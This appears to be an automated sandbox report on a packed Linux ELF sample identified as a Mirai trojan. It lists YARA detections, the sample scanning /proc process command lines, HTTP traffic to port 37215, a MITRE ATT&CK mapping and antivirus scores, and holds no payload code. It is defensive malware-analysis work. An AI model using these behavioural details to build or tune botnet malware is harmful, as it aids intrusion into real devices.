Source: 5531.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_a68e498c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 951c9dfcba531e5112c872395f6c144c4bc8b71c666d2c7d9d8574a23c163883, id = a68e498c-0768-4321-ab65-42dd6ef85323, last_modified = 2021-09-16
Source: 5531.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 5531.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
Source: 5531.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 5531.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 5531.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 5531.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5533.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca, id = fa3ad9d0-7c55-4621-90fc-6b154c44a67b, last_modified = 2021-09-16
Source: 5533.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 5533.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_93fc3657 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d01a9e85a01fad913ca048b60bda1e5a2762f534e5308132c1d3098ac3f561ee, id = 93fc3657-fd21-4e93-a728-c084fc0a6a4a, last_modified = 2021-09-16
Source: 5533.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_804f8e7c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 1080d8502848d532a0b38861437485d98a41d945acaf3cb676a7a2a2f6793ac6, id = 804f8e7c-4786-42bc-92e4-c68c24ca530e, last_modified = 2021-09-16
Source: 5533.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3008edc4e7a099b64139a77d15ec0e2c3c1b55fc23ab156304571c4d14bc654c, id = 99d78950-ea23-4166-a85a-7a029209f5b1, last_modified = 2021-09-16
Source: 5533.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_a68e498c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 951c9dfcba531e5112c872395f6c144c4bc8b71c666d2c7d9d8574a23c163883, id = a68e498c-0768-4321-ab65-42dd6ef85323, last_modified = 2021-09-16
Source: 5533.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 5533.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
Source: 5533.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 5533.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 5533.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 5533.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research

Source: classification engine

Classification label: mal100.spre.troj.evad.linELF@0/0@2/0

Data Obfuscation

Sample is packed with UPX

Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $

Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5545)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5545)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5545)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5565)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5565)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5565)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5565)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5572)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5572)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5572)	Directory: /home/saturnino/.config	Jump to behavior

Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/5541/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/5542/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/5543/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/1185/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3241/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3483/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/1732/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/1730/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/1333/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/1695/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3235/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3234/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/911/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/515/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/5534/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/5535/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/1617/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/5537/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/1615/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3255/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3253/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/1591/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3252/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3251/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3250/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/1623/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3249/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/764/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3368/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/1585/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3246/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3488/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/766/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/888/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3883/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/5544/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/5545/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/1509/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/5546/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/804/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3800/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3801/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/1867/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3407/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3802/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/5565/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/1484/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/1514/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/1634/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/1479/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/1875/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/654/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3379/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/655/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/656/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/777/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/931/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/1595/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/657/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/812/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/779/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/658/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/933/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/418/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/419/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3419/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/5572/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3310/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3275/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3274/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3273/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3394/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3272/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/782/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3706/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3303/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/1762/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3027/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/1486/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/789/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/1806/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/1660/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3044/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3440/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/793/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/794/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3316/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/674/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/796/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/675/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/676/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/1498/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/1497/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/1496/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3157/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3278/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3399/cmdline	Jump to behavior
Source: /tmp/5m6jbTvemR.elf (PID: 5538)	File opened: /proc/3799/cmdline	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 60214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34084 -> 37215

Source: 5m6jbTvemR.elf

Submission file: segment LOAD with 7.8818 entropy (max. 8.0)

Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5541)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5542)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5543)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5544)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5545)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5546)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5572)	Queries kernel information via 'uname':	Jump to behavior

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: 5531.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5533.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 5m6jbTvemR.elf, type: SAMPLE

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: 5531.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5533.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 5m6jbTvemR.elf, type: SAMPLE

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 Hidden Files and Directories	1 OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	11 Obfuscated Files or Information	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
5m6jbTvemR.elf	58%	ReversingLabs	Linux.Trojan.Mirai
5m6jbTvemR.elf	41%	Virustotal		Browse
